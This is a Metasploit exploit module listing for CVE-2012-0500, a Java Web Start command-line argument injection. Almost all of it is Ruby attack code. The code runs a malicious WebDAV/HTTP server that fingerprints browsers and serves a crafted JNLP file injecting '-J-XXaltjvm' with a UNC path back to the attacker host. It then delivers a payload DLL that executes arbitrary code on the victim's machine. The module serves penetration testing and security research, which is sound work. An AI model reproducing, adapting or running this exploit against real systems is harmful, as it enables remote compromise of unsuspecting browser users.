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Sun Java Web Start Plugin Command Line Argument Injection (2012)

Sun Java Web Start Plugin Command Line Argument Injection (2012)
Posted Feb 24, 2012
Authored by jduck | Site metasploit.com

This Metasploit module exploits a flaw in the Web Start component of the Sun Java Runtime Environment. The arguments passed to Java Web Start are not properly validated, allowing injection of arbitrary arguments to the JVM. By utilizing the lesser known -J option, an attacker can take advantage of the -XXaltjvm option, as discussed previously by Ruben Santamarta. This method allows an attacker to execute arbitrary code in the context of an unsuspecting browser user. In order for this module to work, it must be ran as root on a server that does not serve SMB. Additionally, the target host must have the WebClient service (WebDAV Mini-Redirector) enabled.

tags | exploit, java, web, arbitrary, root
advisories | CVE-2012-0500, OSVDB-79227
SHA-256 | 81161207244c8e7484b4277932284c0018d20eb38ceb3a2c62bd1e994ede6a05

Sun Java Web Start Plugin Command Line Argument Injection (2012)

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##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

#
# This module acts as an HTTP server
#
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::EXE

def initialize(info = {})
super(update_info(info,
'Name' => 'Sun Java Web Start Plugin Command Line Argument Injection (2012)',
'Description' => %q{
This module exploits a flaw in the Web Start component of the Sun Java
Runtime Environment. The arguments passed to Java Web Start are not properly
validated, allowing injection of arbitrary arguments to the JVM.

By utilizing the lesser known -J option, an attacker can take advantage of
the -XXaltjvm option, as discussed previously by Ruben Santamarta. This method
allows an attacker to execute arbitrary code in the context of an unsuspecting
browser user.

In order for this module to work, it must be ran as root on a server that
does not serve SMB. Additionally, the target host must have the WebClient
service (WebDAV Mini-Redirector) enabled.
},
'License' => MSF_LICENSE,
'Author' => 'jduck', # Bug reported to Oracle by TELUS
'Version' => '$Revision$',
'References' =>
[
[ 'CVE', '2012-0500' ],
[ 'OSVDB', '79227' ],
[ 'BID', '52015' ],
[ 'URL', 'http://seclists.org/fulldisclosure/2012/Feb/251' ],
[ 'URL', 'http://www.oracle.com/technetwork/topics/security/javacpufeb2012-366318.html' ]
],
'Platform' => 'win',
'Payload' =>
{
'Space' => 1024,
'BadChars' => '',
'DisableNops' => true,
'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff"
},
'Targets' =>
[
[ 'Automatic', { } ],
[ 'Java Runtime on Windows x86',
{
'Platform' => 'win',
'Arch' => ARCH_X86
}
],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Feb 14 2012'
))

register_options(
[
OptPort.new('SRVPORT', [ true, "The daemon port to listen on", 80 ]),
OptString.new('URIPATH', [ true, "The URI to use.", "/" ]),
OptString.new('UNCPATH', [ false, 'Override the UNC path to use. (Use with an SMB server)' ])
], self.class)
end


def auto_target(cli, request)
agent = request.headers['User-Agent']

ret = nil
#print_status("Agent: #{agent}")
# Check for MSIE and/or WebDAV redirector requests
if agent =~ /(Windows NT (5|6)\.(0|1|2)|MiniRedir\/(5|6)\.(0|1|2))/
ret = targets[1]
elsif agent =~ /MSIE (6|7|8)\.0/
ret = targets[1]
else
print_status("Unknown User-Agent #{agent} from #{cli.peerhost}:#{cli.peerport}")
end

ret
end


def on_request_uri(cli, request)

# For this exploit, this does little besides ensures the user agent is a recognized one..
mytarget = target
if target.name == 'Automatic'
mytarget = auto_target(cli, request)
if (not mytarget)
send_not_found(cli)
return
end
end

# Special case to process OPTIONS for /
if (request.method == 'OPTIONS' and request.uri == '/')
process_options(cli, request, mytarget)
return
end

# Discard requests for ico files
if (request.uri =~ /\.ico$/i)
send_not_found(cli)
return
end

# If there is no subdirectory in the request, we need to redirect.
if (request.uri == '/') or not (request.uri =~ /\/([^\/]+)\//)
if (request.uri == '/')
subdir = '/' + rand_text_alphanumeric(8+rand(8)) + '/'
else
subdir = request.uri + '/'
end
print_status("Request for \"#{request.uri}\" does not contain a sub-directory, redirecting to #{subdir} ...")
send_redirect(cli, subdir)
return
else
share_name = $1
end

# dispatch WebDAV requests based on method first
case request.method
when 'OPTIONS'
process_options(cli, request, mytarget)

when 'PROPFIND'
process_propfind(cli, request, mytarget)

when 'GET'
process_get(cli, request, mytarget, share_name)

when 'PUT'
print_status("Sending 404 for PUT #{request.uri} ...")
send_not_found(cli)

else
print_error("Unexpected request method encountered: #{request.method}")

end

end

#
# GET requests
#
def process_get(cli, request, target, share_name)

print_status("Responding to \"GET #{request.uri}\" request from #{cli.peerhost}:#{cli.peerport}")
# dispatch based on extension
if (request.uri =~ /\.dll$/i)
#
# DLL requests sent by IE and the WebDav Mini-Redirector
#
print_status("Sending DLL to #{cli.peerhost}:#{cli.peerport}...")

# Re-generate the payload
return if ((p = regenerate_payload(cli)) == nil)

# Generate a DLL based on the payload
dll_data = generate_payload_dll({ :code => p.encoded })

# Send it :)
send_response(cli, dll_data, { 'Content-Type' => 'application/octet-stream' })

elsif (request.uri =~ /\.jnlp$/i)
#
# Send the jnlp document
#

# Prepare the UNC path...
if (datastore['UNCPATH'])
unc = datastore['UNCPATH'].dup
else
my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
unc = "\\\\" + my_host + "\\" + share_name
end

# NOTE: we ensure there's only a single backslash here since it will get escaped
if unc[0,2] == "\\\\"
unc.slice!(0, 1)
end

http_agent = Rex::Text.rand_text_alpha(8+rand(8))

jnlp_data = <<-EOS
<?xml version="1.0" encoding="UTF-8"?>
<jnlp version="1">
<information>
<title>#{Rex::Text.rand_text_alpha(rand(10)+10)}</title>
<vendor>#{Rex::Text.rand_text_alpha(rand(10)+10)}</vendor>
<description>#{Rex::Text.rand_text_alpha(rand(10)+10)}</description>
</information>
<resources>
<java version="1.3+" initial-heap-size='512m" -J-XXaltjvm=#{unc} "' />
</resources>
<resources><java java-vm-args='-Dhttp.agent=#{http_agent}"' /></resources>
</jnlp>
EOS
print_status("Sending JNLP to #{cli.peerhost}:#{cli.peerport}...")
send_response(cli, jnlp_data, { 'Content-Type' => 'application/x-java-jnlp-file' })

else
print_status("Sending redirect to the JNLP file to #{cli.peerhost}:#{cli.peerport}")
jnlp_name = Rex::Text.rand_text_alpha(8 + rand(8))

jnlp_path = get_resource()
if jnlp_path[-1,1] != '/'
jnlp_path << '/'
end
jnlp_path << request.uri.split('/')[-1] << '/'
jnlp_path << jnlp_name << ".jnlp"

send_redirect(cli, jnlp_path, '')

end

end

#
# OPTIONS requests sent by the WebDav Mini-Redirector
#
def process_options(cli, request, target)
print_status("Responding to WebDAV \"OPTIONS #{request.uri}\" request from #{cli.peerhost}:#{cli.peerport}")
headers = {
#'DASL' => '<DAV:sql>',
#'DAV' => '1, 2',
'Allow' => 'OPTIONS, GET, PROPFIND',
'Public' => 'OPTIONS, GET, PROPFIND'
}
send_response(cli, '', headers)
end


#
# PROPFIND requests sent by the WebDav Mini-Redirector
#
def process_propfind(cli, request, target)
path = request.uri
print_status("Received WebDAV \"PROPFIND #{request.uri}\" request from #{cli.peerhost}:#{cli.peerport}")
body = ''

if (path =~ /\.dll$/i)
# Response for the DLL
print_status("Sending DLL multistatus for #{path} ...")
#<lp1:getcontentlength>45056</lp1:getcontentlength>
body = %Q|<?xml version="1.0" encoding="utf-8"?>
<D:multistatus xmlns:D="DAV:">
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype/>
<lp1:creationdate>2010-02-26T17:07:12Z</lp1:creationdate>
<lp1:getlastmodified>Fri, 26 Feb 2010 17:07:12 GMT</lp1:getlastmodified>
<lp1:getetag>"39e0132-b000-43c6e5f8d2f80"</lp1:getetag>
<lp2:executable>F</lp2:executable>
<D:lockdiscovery/>
<D:getcontenttype>application/octet-stream</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
</D:multistatus>
|

elsif (path =~ /\/$/) or (not path.sub('/', '').index('/'))
# Response for anything else (generally just /)
print_status("Sending directory multistatus for #{path} ...")
body = %Q|<?xml version="1.0" encoding="utf-8"?>
<D:multistatus xmlns:D="DAV:">
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype><D:collection/></lp1:resourcetype>
<lp1:creationdate>2010-02-26T17:07:12Z</lp1:creationdate>
<lp1:getlastmodified>Fri, 26 Feb 2010 17:07:12 GMT</lp1:getlastmodified>
<lp1:getetag>"39e0001-1000-4808c3ec95000"</lp1:getetag>
<D:lockdiscovery/>
<D:getcontenttype>httpd/unix-directory</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
</D:multistatus>
|

else
print_status("Sending 404 for #{path} ...")
send_not_found(cli)
return

end

# send the response
resp = create_response(207, "Multi-Status")
resp.body = body
resp['Content-Type'] = 'text/xml'
cli.send_response(resp)
end


#
# Make sure we're on the right port/path to support WebDAV
#
def exploit
if datastore['SRVPORT'].to_i != 80 || datastore['URIPATH'] != '/'
raise RuntimeError, 'Using WebDAV requires SRVPORT=80 and URIPATH=/'
end

super
end

end
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